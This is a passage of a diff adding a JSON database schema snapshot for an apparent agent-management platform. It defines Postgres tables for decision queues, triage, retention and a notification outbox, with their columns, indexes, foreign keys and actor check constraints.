+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
